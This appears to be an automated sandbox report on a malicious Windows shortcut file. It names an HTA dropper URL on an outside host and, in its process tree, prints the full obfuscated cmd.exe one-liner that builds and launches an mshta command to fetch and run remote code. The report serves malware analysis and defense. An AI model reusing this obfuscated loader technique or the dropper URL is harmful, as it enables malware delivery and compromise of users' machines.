Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-9Y3LM0.lnk
  • Size 2KB
  • Sample260804-j99nvszzdy
  • SHA256 d8aeee68b6c6b28246cceea72de9c287112590b9ac9eee791f0f6717a194eccf
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9Y3LM0.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set RST=logjcfcbviwlog&&set zH=sysejsjsys&&set FWmMX=oldvvbrrsrolhmhybqnbpold&&set Lq=nms5c7&&set axnnt=mt3h8q&&set XPm=ytaj&&set hrxpz=inftgjdfvtspxeinf&&set zQl=sysjzedzigcahhkjqocesys&&set dDA=7dqst3&&set tYRo=xarp8&&set Ud=8hbt12&&set LI=ht@tps://m@a@-pd@ffi@[email protected]/h@/estag@i@o@1@.@p@h@p?r@=39146@9FB@5D8@2DB&&start /b !Lq:~1,2!!axnnt:~3,1!!XPm:~1,2! !LI:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:716
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4496

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads